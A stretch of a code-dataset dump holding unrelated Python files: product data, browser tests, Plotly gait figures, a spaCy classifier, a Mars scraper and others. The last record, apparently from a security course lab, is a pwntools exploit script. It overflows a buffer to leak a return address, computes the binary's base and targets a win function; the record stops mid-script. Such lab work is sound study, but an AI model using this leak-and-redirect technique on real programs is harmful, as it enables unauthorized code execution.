'product_id': 6,\n 'category_id': 4,\n 'name': 'Men\\'s Crochet Beanie Hat',\n 'description': 'Crochet black beanie hat for both men and women',\n 'price': 10.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/1dd8105e-5077-432d-a647-238598d2fbbd/image6.jpg'\n },\n {\n 'product_id': 7,\n 'category_id': 4,\n 'name': 'Men\\'s Baggy Jean Trouser',\n 'description': 'Baggy jean trouser for men',\n 'price': 54.99,\n 'stock_quantity': 35,\n 'image_url': 'https://ucarecdn.com/654c4e07-f700-4089-9284-45ecac998bc4/image7.jpg'\n },\n {\n 'product_id': 8,\n 'category_id': 4,\n 'name': 'Men\\'s Baggy Jean Trouser',\n 'description': 'Baggy jean trouser for men',\n 'price': 49.99,\n 'stock_quantity': 15,\n 'image_url': 'https://ucarecdn.com/a679d759-df6c-4c82-84fc-411f4c3fdfcd/image8.jpg'\n },\n {\n 'product_id': 9,\n 'category_id': 5,\n 'name': 'Unisex\\'s Bricks Short Sleeves Sweater',\n 'description': 'Comfy bricks pattern short sleeves sweater',\n 'price': 59.99,\n 'stock_quantity': 45,\n 'image_url': 'https://ucarecdn.com/b45c3a17-34ed-4446-95e5-edc4a65dd2ad/image9.jpg'\n },\n {\n 'product_id': 10,\n 'category_id': 2,\n 'name': 'Women\\'s Boot Cut Jeans',\n 'description': 'Casual boot cut jeans for women',\n 'price': 29.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/80155b64-00db-4b30-b4ef-2ed0d973f9ad/image10.jpg'\n },\n {\n 'product_id': 11,\n 'category_id': 1,\n 'name': 'Women\\'s Waistcoat Gown',\n 'description': 'Coffee brown waistcoat gown for women',\n 'price': 39.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/3d6dd783-eb68-4b8a-bda1-c615e28dda85/image11.jpg'\n },\n {\n 'product_id': 12,\n 'category_id': 2,\n 'name': 'Women\\'s Crochet Cropped Cardigan',\n 'description': ' Crochet granny square cropped cardigan for women',\n 'price': 74.99,\n 'stock_quantity': 35,\n 'image_url': 'https://ucarecdn.com/4e6edc38-0dab-4755-9754-dcf8493b5ddd/image12.jpg'\n },\n {\n 'product_id': 13,\n 'category_id': 1,\n 'name': 'Women\\'s Cropped Top And Palazzo Pants',\n 'description': 'Two-piece dress for women',\n 'price': 49.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/dfd3b718-2300-456a-9da4-c8efb4011a99/image13.jpg'\n },\n {\n 'product_id': 14,\n 'category_id': 1,\n 'name': 'Women\\'s Coperate Pant Trousers',\n 'description': 'Different styles of cooperate pant trousers for women',\n 'price': 29.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/a59c6d79-1baf-412f-bf78-c7d7a7e31712/image14.jpg'\n },\n {\n 'product_id': 15,\n 'category_id': 2,\n 'name': 'Women\\'s Drawstrings Top',\n 'description': 'Elegant lilac drawstrings top for women',\n 'price': 19.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/33973747-3d64-4523-862d-6a0b75514ea3/image15.jpg'\n },\n {\n 'product_id': 16,\n 'category_id': 2,\n 'name': 'Women\\'s Crochet Summer Gown',\n 'description': 'Stylish crochet summer gown for women',\n 'price': 44.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/3c1981a6-2b4d-4f6c-9db0-4795bcb60b34/image16.jpg'\n },\n {\n 'product_id': 17,\n 'category_id': 1,\n 'name': 'Women\\'s Ribbed Slit Gown',\n 'description': 'Ribbed slit gown for women',\n 'price': 34.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/edf2e316-8f79-4878-a178-3b2649edbe1c/image17.jpg'\n },\n {\n 'product_id': 18,\n 'category_id': 2,\n 'name': 'Women\\'s Cardigan And Gown',\n 'description': 'Cozy caridgan and gown for women',\n 'price': 199.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/7c986b51-95eb-4270-b18c-d4cb09cde0ae/image18.jpg'\n },\n {\n 'product_id': 19,\n 'category_id': 2,\n 'name': 'Women\\'s Suade Gown And Cropped Sweater',\n 'description': 'Cozy suade gown and classic gown for women',\n 'price': 139.99,\n 'stock_quantity': 60,\n 'image_url': 'https://ucarecdn.com/2f3a4f1f-ccae-4935-99e5-55ec33a4b83f/image19.jpg'\n },\n {\n 'product_id': 20,\n 'category_id': 2,\n 'name': 'Women\\'s Sweatshirts',\n 'description': 'Summer sweatshirts for women',\n 'price': 24.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/f75b654e-f284-49dc-b98f-49e2fd04afdc/image20.jpg'\n },\n {\n 'product_id': 21,\n 'category_id': 5,\n 'name': 'Men\\'s Crochet Sweater',\n 'description': 'Multi coloured crochet sweater for men',\n 'price': 69.99,\n 'stock_quantity': 100,\n 'image_url': 'https://ucarecdn.com/ef6e71c6-3d83-468c-8585-73b0a8abaf0b/image21.jpg'\n },\n {\n 'product_id': 22,\n 'category_id': 2,\n 'name': 'Women\\'s White Maxi Dress',\n 'description': 'Bailey white maxi dress for women',\n 'price': 34.99,\n 'stock_quantity': 80,\n 'image_url': 'https://ucarecdn.com/69e6088e-624d-43a1-a92e-cce8de11b96f/image22.jpg'\n },\n {\n 'product_id': 23,\n 'category_id': 5,\n 'name': 'Men\\'s Crochet Sweater',\n 'description': 'Unique crochet sweater for men',\n 'price': 59.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/4829106e-a8f0-407e-b5ed-bf2813767f05/image23.jpg'\n },\n {\n 'product_id': 24,\n 'category_id': 2,\n 'name': 'Women\\'s Square Neck Cropped Top',\n 'description': 'Nude square neck cropped top for women',\n 'price': 14.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/c3ee804b-c098-446e-b936-7d8b52970144/image24.jpg'\n },\n {\n 'product_id': 25,\n 'category_id': 4,\n 'name': 'Men\\'s Cargo Trousers',\n 'description': 'Stylish men cargo trousers for men',\n 'price': 29.99,\n 'stock_quantity': 15,\n 'image_url': 'https://ucarecdn.com/c1fa9850-c2ff-49ae-a432-6195fddabf12/image25.jpg'\n },\n {\n 'product_id': 26,\n 'category_id': 5,\n 'name': 'Unisex\\'s Yin-yang Crochet Sweater',\n 'description': 'Elegant Yin-yang crochet sweater',\n 'price': 74.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/f0856e74-65cf-409d-860c-c0680e8299c0/image26.jpg'\n }\n]\n\n\n","repo_name":"dennis-22-csc/FashionHub","sub_path":"models/products_info.py","file_name":"products_info.py","file_ext":"py","file_size_in_byte":8379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35088062686","text":"# import time\r\n#\r\n# from selene import browser, have\r\n# from selene.support.shared import config\r\n# from selene.support.shared.jquery_style import s, ss\r\n#\r\n# def test_itstep_count():\r\n# config.window_width = 1920\r\n# config.window_height = 1080\r\n#\r\n# browser.open('https://itstep.org/uk')\r\n# time.sleep(5)\r\n#\r\n# ss('.marker-city.cremenchug-small .marker-point').first.click()\r\n# page_text = browser.driver.page_source.lower()\r\n# count = page_text.count('it step')\r\n# print('Вираз it step повторюється:', count, 'рази')\r\n\r\nimport time\r\nfrom selene.api import browser, s, ss\r\n\r\n# def test_search_and_count():\r\n# browser.open('https://duckduckgo.com/')\r\n# s('[name=\"q\"]').type('шахтар').press_enter()\r\n# time.sleep(5)\r\n# ss(\".result__url\").element(2).click()\r\n#\r\n# page_text = browser.driver.page_source.lower()\r\n# word_to_count = \"шахтар\"\r\n# count = page_text.count(word_to_count)\r\n# print(f'Слово \"{word_to_count}\" зустрічається на сторінці {count} раз(ів)')\r\n# assert count > 0, f'Слово \"{word_to_count}\" не знайдено на сторінці'\r\n# browser.quit()\r\n\r\ndef test_duckduckgo_search():\r\n browser.open('https://duckduckgo.com/')\r\n browser.element('[name=\"q\"]').type('шахтар').press_enter()\r\n\r\n time.sleep(5) # wait for the page to load\r\n\r\n results = [elem.get_attribute('innerHTML') for elem in browser.all('.result__a')]\r\n\r\n count = sum(1 for result in results if 'шахтар' in result)\r\n\r\n assert count > 0\r\n","repo_name":"EdgarBet/pythonProject_test_Ecosia","sub_path":"tests/first_test.py","file_name":"first_test.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5385475470","text":"import csv\n\ndef writeToFile(dates, beginTimes, endTimes, locations, keywords):\n with open(\"eventOther.csv\", mode=\"w\") as employFile:\n writeObject = csv.writer(employFile,delimiter=',')\n writeObject.writerow([\"Date\", \"Start Time\", \"End Time\", \"Location\", \"Keywords\"])\n for i in range(len(dates)):\n writeObject.writerow([dates[i],beginTimes[i],endTimes[i],locations[i], keywords[i]])\n\n\ndef readFromFile(filename):\n with open(filename, mode = \"r\") as eventFile:\n readObj = csv.reader(eventFile, delimiter = \",\")\n it = 0\n data = []\n lineLen = 0\n for row in readObj:\n if it == 0:\n lineLen = len(row)\n for i in range(len(row)):\n data.append([row[i]])\n else:\n for i in range(lineLen):\n data[i].append(row[i])\n it += 1\n return data\n\n# print(readFromFile(\"event.csv\"))","repo_name":"kongmunist/CarnegieCalendar","sub_path":"archive/oldsurf/fileio.py","file_name":"fileio.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"31456468542","text":"#Author: Walid Daboubi\n#walid.daboubi@gmail.com\n\nimport numpy as np\nimport pymysql\n\nimport json\nfrom collections import OrderedDict\nfrom sklearn import tree,linear_model\n\n\ndef get_data_details(args):\n data = np.array(args)\n features=data[:len(args)-1]\n features = features.reshape(1,-1)\n labels=data[len(args)-1:] # 성능이 중요시 된다면 하드코딩해주세요\n return features, labels\n\ndef get_occuracy(labels,predic,fltr):\n real_label_count=0.0\n predicted_label_count=0.0\n correct_count = 0.0\n for real_label in labels: #실제 라벨의 수\n if real_label==fltr:\n real_label_count+=1\n\n for i, val in enumerate(predic):\n if val == fltr and val == labels[i]:\n correct_count+=1\n\n if val == fltr:\n predicted_label_count += 1\n\n\n tmp = 0.0\n target = 0.0\n for i, val in enumerate(predic):\n if(labels[i] == fltr):\n target+=1\n if(labels[i] == val):\n tmp+=1\n\n\n \"\"\"\n for predicted_label in predicted_labels:\n if predicted_label==fltr:\n predicted_label_count+=1\n \"\"\"\n\n #print (\"실제 공격 횟수:\"+str(real_label_count))\n #print (\"예측된 공격 횟수:\"+str(predicted_label_count))\n\n #정밀도 = precision\n #precision=predicted_label_count*100/real_label_count\n #precision = predicted_label_count* 100 / real_label_count\n precision = tmp * 100 / target\n # group_data\n file_data = OrderedDict()\n file_data['real_attack'] = str(target)\n file_data['predict_attack'] = str(tmp)\n file_data['precision'] = str(precision)\n print(json.dumps(file_data, ensure_ascii=False, indent=\"\\t\"))\n print(json.dumps(file_data))\n with open('/opt/was/tomcat9/webapps/Xerops/data/xerops_learning.json', 'w', encoding='utf-8') as make_file:\n json.dump(file_data, make_file, ensure_ascii=False, indent=\"\\t\")\n return precision\n","repo_name":"DoSangWon/Xerops-Python","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2242713461","text":"\"\"\"\nPlotly figures used by the Dash app\n\nAll figures used in the app are defined in this module. Includes the\n3D pose viewer, the angle trajectory, the average stride and the \nphase space diagram\n\"\"\"\n\nimport plotly.graph_objs as go\nimport plotly.express as px\n\nimport pandas as pd\nimport numpy as np\n\ndef frame_args(duration, redraw=True, transition=False):\n return {\n \"frame\": {\"duration\": duration, \"redraw\": redraw},\n \"mode\": \"immediate\",\n \"fromcurrent\": True,\n \"transition\": {\"duration\": 0},\n }\n\ndef create_skeleton_fig(pose_3d, skeleton=None, joints=None, \n eye=None, fps=50, height=550):\n if skeleton is None:\n skeleton = [-1, 0, 1, 2, 0, 4, 5, 0, \\\n 7, 8, 9, 8, 11, 12, 8, 14, 15]\n if joints is None:\n joints = \"MHip, RHip, RKnee, RAnkle, LHip, LKnee, \\\n LAnkle, Spine, Neck, Nose, Head, LShoulder, \\\n LElbow, LWrist, RShoulder, RElbow, RWrist\".split(\", \")\n\n if eye is None:\n eye = dict(x=-1.0, y=3.0, z=.5)\n \n lines = {'frame': [], 'joint': [], 'x':[], 'y':[], 'z':[]}\n for f in range(len(pose_3d)):\n for j in range(len(joints)):\n p = skeleton[j]\n if p != -1:\n lines['frame'].extend([f]*3)\n lines['joint'].extend([joints[j], joints[p], None])\n for i, c in enumerate(list('xyz')):\n lines[c].append(pose_3d[f, j, i])\n lines[c].append(pose_3d[f, p, i])\n lines[c].append(None)\n pose_df = pd.DataFrame.from_dict(lines)\n \n # Create figure\n frames = [go.Frame(\n name=str(frame),\n data=[go.Scatter3d(x=df['x'], y=df['y'], z=df['z'],\n mode='markers+lines', line_width=5,\n marker_size=5,\n hovertemplate= '%{text}
'+\n 'x: %{x:.3f}
'+\n 'y: %{y:.3f}
'+\n 'z: %{z:.3f}
'+\n '',\n text = df['joint']\n )])\n for frame, df in pose_df.groupby('frame')]\n \n sliders_dict = {\n \"active\": 0,\n \"yanchor\": \"top\",\n \"xanchor\": \"left\",\n \"currentvalue\": {\n \"font\": {\"size\": 15},\n \"prefix\": \"Frame:\",\n \"xanchor\": \"right\"\n },\n \"pad\": {\"b\": 10, \"t\": 15},\n \"len\": 0.7,\n \"x\": 0.2,\n \"y\": 0,\n \"steps\": [{\n \"args\": [\n [frame], frame_args(0)\n ],\n \"label\": frame,\n \"method\": \"animate\"}\n for frame in range(0, len(pose_3d)+1, 10)]\n }\n\n layout=go.Layout(\n template='plotly_dark',\n plot_bgcolor='rgba(0, 0, 0, 0)', # transparent background\n paper_bgcolor='rgba(0, 0, 0, 0)',\n margin=dict(l=0, r=0, b=0, t=0), # tight layout\n scene = go.layout.Scene( # scene dimension\n xaxis=dict(range=[-.75,.75], autorange=False, zeroline=False),\n yaxis=dict(range=[-.75,.75], autorange=False, zeroline=False),\n zaxis=dict(range=[-0.2, 2], autorange=False, zeroline=False),\n aspectratio=dict(x=1, y=1, z=2.),\n ),\n scene_camera=dict(\n eye=eye,\n ),\n hovermode=\"closest\",\n height=height, #width=400,\n sliders=[sliders_dict],\n updatemenus=[{\n \"buttons\":[{\n \"args\": [None, frame_args(1./fps)],\n \"label\": \"▶\", # play symbol\n \"method\": \"animate\"\n },\n {\n \"args\": [[None], frame_args(0)],\n \"label\": \"◼\", # pause symbol\n \"method\": \"animate\"\n }],\n \"direction\": \"left\",\n \"pad\": {\"r\": 10, \"t\": 40},\n \"showactive\": False,\n \"type\": \"buttons\",\n \"x\": 0,\n \"xanchor\": \"left\",\n \"y\": 0,\n \"yanchor\": \"top\"\n }]\n )\n\n return go.Figure(data=frames[0].data, layout=layout, frames=frames)\n\ndef create_angle_figure(angles, gait_cycles=[], joint='Knee'):\n names = ['Right '+joint, 'Left '+joint]\n fig = go.Figure()#make_subplots(2, 1, shared_xaxes=True)\n for i in range(len(names)):\n fig.add_trace(\n go.Scatter(\n y=angles[:,i],\n name=names[i], meta=names[i],\n hovertemplate= '%{meta}: %{y:.1f}°'+\n ''\n )#, i+1, 1\n )\n #fig.update_yaxes(matches='y')\n fig.update_layout(\n dragmode= 'pan', \n xaxis=dict(range=[0,300], title='Frame', zeroline=True, \n spikedash= \"dash\", spikecolor= \"white\",), \n yaxis=dict(fixedrange=True, title='Knee Extension/Flexion', zeroline=True),\n margin=dict(l=10, r=10, b=10, t=10),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n legend=dict(\n x=0.01,\n y=0.98,\n traceorder=\"normal\",\n bgcolor = 'black',\n ),\n newshape=dict(line_color='#B2FF66', line_width=2,\n fillcolor='rgba(178, 255, 102, 0.5)'),\n )\n fig.add_vrect(\n x0=0, x1=15, fillcolor='grey', layer='below', opacity=0.3, line_width=0, \n #row=\"all\", col=1\n )\n for x in gait_cycles:\n fig.add_vline( x=x, line_color=\"orange\", line_dash=\"dot\")\n return fig\n\n\ndef create_stride_figure(angles, norm_data=None, joint='Knee'):\n names = ['Right '+joint, 'Left '+joint]\n norm_color = 'rgba(162,162,162,0.5)'\n fig = go.Figure()\n\n for i in range(len(names)):\n fig.add_trace(\n go.Scatter(\n y=angles[i], name=names[i], meta=names[i],\n hovertemplate= '%{meta}: %{y:.1f}°'\n )\n )\n\n if norm_data is not None:\n mean = norm_data[:, 0]\n std = norm_data[:, 1]\n min_norm = mean - std\n max_norm = mean + std\n x = np.arange(len(mean))\n fig.add_trace(\n go.Scatter( x=np.concatenate([x, x[::-1]]), \n y=np.concatenate([max_norm, min_norm[::-1]]), \n fill='tozerox', showlegend=False, mode='none',\n hoverinfo='skip', legendgroup='Norm', fillcolor=norm_color)\n )\n fig.add_trace(\n go.Scatter(y=mean, name='Norm value', meta='Norm value',\n legendgroup='Norm', line_color=norm_color,\n hovertemplate= '%{meta}: %{y:.1f}°')),\n fig.update_layout(\n dragmode= 'pan', \n xaxis=dict(range=[0,100], fixedrange=True, title='% Gait Cycle',\n spikedash= \"dash\", spikecolor= \"white\",), \n yaxis=dict(fixedrange=True, title='Avg. Knee Extension/Flexion'),\n margin=dict(l=10, r=10, b=10, t=10),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n legend=dict(\n x=0.01,\n y=0.99,\n traceorder=\"normal\",\n bgcolor = 'black'\n ),\n newshape=dict(line_color='#B2FF66', line_width=2,\n fillcolor='rgba(178, 255, 102, 0.5)'),\n )\n return fig\n\ndef create_phase_space_reconstruction(trajs):\n names = ['Right', 'Left']\n fig = go.Figure()\n for i in range(len(trajs)):\n fig.add_trace(\n go.Scatter3d(\n x=trajs[i, 0], y=trajs[i, 1], z=trajs[i, 2],\n mode='lines', name=names[i]\n )\n )\n fig.update_layout(\n scene_camera=dict(\n eye=dict(x=0.4, y=-1.8, z=0.4),\n ),\n margin=dict(l=0, r=0, b=10, t=5),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n height=350,\n legend=dict(\n x=0.01,\n y=0.98,\n traceorder=\"normal\",\n bgcolor = 'black',\n ),\n )\n return fig\n\n","repo_name":"kamisoel/DigiGait","sub_path":"dash_app/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":8363,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"5320950502","text":"import csv\r\nimport time\r\ntic = time.clock()\r\nRd = open(\"autos.csv\",\"r\")\r\nFd = list(csv.reader(Rd))\r\nNd = []\r\nfor i in range(1,len(Fd)):\r\n Bl = [float(Fd[i][4]),float(Fd[i][11]),float(Fd[i][9])]\r\n Nd.append(Bl)\r\n\r\nTrainingdata = Nd[0:int((0.75*len(Fd)))]\r\nTestingdata = Nd[int((0.75*len(Fd))):]\r\nprint(len(Fd))\r\nprint(len(Trainingdata))\r\nprint(len(Testingdata))\r\ntoc = time.clock()\r\nn = toc - tic\r\nprint(n)","repo_name":"nvk0x/Car-price-prediction","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16215063040","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n'''\r\nSample Input\r\nSTDIN Function\r\n----- --------\r\n1 t = 1\r\n5 n = 5\r\nebacd grid = ['ebacd', 'fghij', 'olmkn', 'trpqs', 'xywuv']\r\nfghij\r\nolmkn\r\ntrpqs\r\nxywuv\r\n\r\nSample Output\r\nYES\r\n\r\n# Complete the 'gridChallenge' function below.\r\n#\r\n# The function is expected to return a STRING.\r\n# The function accepts STRING_ARRAY grid as parameter.\r\n#\r\n'''\r\n\r\ndef gridChallenge(grid):\r\n # Write your code here\r\n grid = [list(row) for row in grid]\r\n n = len(grid[0])\r\n for row in grid:\r\n row.sort()\r\n for j in range(n):\r\n for i in range(n - 1):\r\n if grid[i][j] > grid[i+1][j]:\r\n return \"NO\"\r\n return \"YES\"\r\n\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n t = int(input().strip())\r\n\r\n for t_itr in range(t):\r\n n = int(input().strip())\r\n\r\n grid = []\r\n\r\n for _ in range(n):\r\n grid_item = input()\r\n grid.append(grid_item)\r\n\r\n result = gridChallenge(grid)\r\n\r\n fptr.write(result + '\\n')\r\n\r\n fptr.close()\r\n","repo_name":"adnaneaabbar/HackerRankOneMonthPrepKit","sub_path":"week2/grid_challenge.py","file_name":"grid_challenge.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"32450983097","text":"import pandas as pd\nimport spacy\nfrom spacy.tokens import DocBin\nfrom tqdm import tqdm\nfrom spacy.cli import download\ndownload(\"en_core_web_trf\")\n\nclass SpacySetup:\n def __init__(self, data: pd.DataFrame, spacy_model: str = None, build_docs=False):\n if spacy_model:\n self.nlp = spacy.load(spacy_model)\n else:\n self.nlp = spacy.load(\"en_core_web_trf\")\n\n self.data = data\n self.zipped_data = self.zip_dataset()\n if build_docs:\n self.spacy_docs = self.make_spacy_docs()\n\n def __repr__(self):\n return self.data\n\n def zip_dataset(self):\n zipped_data = tuple(\n zip(\n self.data[\"Title\"].tolist(), self.data[\"Conference\"].tolist()\n )\n )\n return zipped_data\n\n def make_spacy_docs(self):\n docs = []\n\n for doc, label in tqdm(self.nlp.pipe(self.zipped_data, as_tuples=True)):\n if label == 'ISCAS':\n doc.cats[\"ISCAS\"] = 1\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'INFOCOM':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 1\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'VLDB':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 1\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'WWW':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 1\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'SIGGRAPH':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 1\n\n docs.append(doc)\n return docs\n\n\nif __name__ == \"__main__\":\n reviews = pd.read_csv(\"data.csv\")\n model = SpacySetup(reviews, build_docs=True)\n\n doc_bin = DocBin(docs=model.spacy_docs[:1500])\n doc_bin.to_disk(\"data/train.spacy\")\n\n doc_bin = DocBin(docs=model.spacy_docs[1500:])\n doc_bin.to_disk(\"data/valid.spacy\")\n","repo_name":"Mtaylert/nlp_research","sub_path":"spacy_classifier/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9868766724","text":"import urllib.parse as parse\n\ndef to_canvas(latex, inline = False):\n '''Converts Latex expression to canvas used class.'''\n model = '\"Latex:' \n out = model.format(latex.replace('&','&'),parse.quote(parse.quote(latex.replace('&','&'), safe='()'), safe='()&'))\n if not inline:\n out = '

' + out + '

'\n return out\n\nprint(to_canvas(r\"{\\mathbb P}[X>0.38]\"))","repo_name":"jneem/M362M","sub_path":"code/latex_to_canvas.py","file_name":"latex_to_canvas.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11551453125","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\nimport codecs\n\ndef scrape_info():\n executable_path = {'executable_path': ChromeDriverManager().install()}\n browser = Browser('chrome', **executable_path, headless=False)\n\n url = 'https://redplanetscience.com/'\n browser.visit(url)\n\n html = browser.html\n soup = BeautifulSoup(html, 'html.parser')\n articles = soup.find_all('div', class_='col-md-8')\n\n # # Iterate through each book\n for article in articles:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n news_date=article.find('div', class_=\"list_date\").text\n news_title = article.find('div', class_=\"content_title\").text\n news_p = article.find('div', class_=\"article_teaser_body\").text\n break\n\n url = 'https://spaceimages-mars.com/'\n browser.visit(url)\n\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n images = soup.find_all('a', class_='fancybox-thumbs')\n\n # # Iterate through each book\n for image in images:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n featured_image_url=f\"https://spaceimages-mars.com/{image['href']}\"\n\n print(featured_image_url)\n\n break\n\n url = 'https://galaxyfacts-mars.com/'\n\n tables=pd.read_html(url)\n mars_fact_df=tables[0]\n\n column_name=[mars_fact_df.iloc[0][x] for x in range(len(mars_fact_df.iloc[0]))]\n mars_fact_df.columns=column_name\n mars_fact_df=mars_fact_df.iloc[1:,:]\n mars_fact_df.to_html('templates/mars_fact_table.html', index=False, classes=\"table table-striped\")\n file = codecs.open(\"templates/mars_fact_table.html\", \"r\", \"utf-8\")\n mars_fact_table=file.read()\n\n # %% [markdown]\n # Mars Hemispheres\n # - Visit the Astrogeology site here to obtain high resolution images for each of Mar's hemispheres.\n # - You will need to click each of the links to the hemispheres in order to find the image url to the full resolution image.\n # - Save both the image url string for the full resolution hemisphere image, and the Hemisphere title containing the hemisphere name. Use a Python dictionary to store the data using the keys img_url and title.\n # - Append the dictionary with the image url string and the hemisphere title to a list. This list will contain one dictionary for each hemisphere.\n\n # %%\n url = 'https://marshemispheres.com/'\n browser.visit(url)\n\n\n # %%\n url_list=[]\n hemisphere_title_list=[]\n\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n hemisphere_articles = soup.find_all('div', class_='description')\n\n # Iterate through each book\n for hemisphere_article in hemisphere_articles:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n url_string = hemisphere_article.a['href']\n url_list.append(f\"https://marshemispheres.com/{url_string}\")\n title_string= hemisphere_article.a.h3.text\n hemisphere_title_list.append(title_string)\n print('-----------')\n print(title_string)\n print('https://marshemispheres.com/' + url_string)\n\n\n\n # %%\n hemisphere_image_list=[]\n\n for urls in url_list:\n url=urls\n browser.visit(url)\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n hemisphere_images = soup.find_all('ul')\n hemisphere_image_list.append(f\"https://marshemispheres.com/{hemisphere_images[0].find('a')['href']}\")\n\n\n # %%\n hemisphere_image_urls = [\n {\"title\": hemisphere_title_list[0], \"img_url\": hemisphere_image_list[0]},\n {\"title\": hemisphere_title_list[1], \"img_url\": hemisphere_image_list[1]},\n {\"title\": hemisphere_title_list[2], \"img_url\": hemisphere_image_list[2]},\n {\"title\": hemisphere_title_list[3], \"img_url\": hemisphere_image_list[3]},\n ]\n\n\n # %%\n browser.quit()\n\n mars_data= {\n \"news_title\":news_title,\n \"news_p\":news_p,\n \"featured_image_url\":featured_image_url,\n \"mars_fact\":mars_fact_table,\n \"hemisphere_image_urls\":hemisphere_image_urls\n }\n\n return mars_data\n\n\n","repo_name":"kevinkurn/web-scraping-challenge","sub_path":"Instructions/Missions_to_Mars/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"36408451924","text":"from pwn import *\n\n# Set CPU context architecture\ncontext.arch = \"amd64\"\n\n# Launch exploit process\np = gdb.debug(\"./lab5-1.bin\") # run exploit against binary locally with process attached to gdb\n#p = process(\"./lab5-1.bin\") # run exploit against binary locally without attacking the process to gdb\n#p = remote(\"csc748.hostbin.org\", 7051) # run the exploit against a remote process\n\nLEAKED_OFFSET = 0x13c7\nWINFUNC_OFFSET = 0x1269\n\n# Send RIP leakage exploit bytes and Read output padding and do nothing with them\np.send(b\"A\"*8 + b\"B\"*8 + b\"C\"*7 + b\"\\n\")\np.recvuntil(\"\\n\")\nprint(\"\\n\")\n\n# Read 6 bytes of RIP fix the last 2 bytes and print\nLEAKED_RIP = p.recv(6) + b\"\\x00\\x00\"\nprint(\"The leaked RIP instruction in hexdump is: \", (hexdump(LEAKED_RIP)))\nprint(\"\\n\")\n\n# Calculate and print the base address of the binary\nLEAKED_RIP = u64(LEAKED_RIP)\nBASE_ADDR = LEAKED_RIP - LEAKED_OFFSET\nprint(\"The leaked RIP instruction in base16 zero padded format: {:016x}\".format(LEAKED_RIP))\nprint(\"\\n\")\nprint(\"The calculated base address of the binary in base16 zero padded format: {:016x})\".format(BASE_ADDR))\nprint(\"\\n\")\n\n# Calculate and print the address of 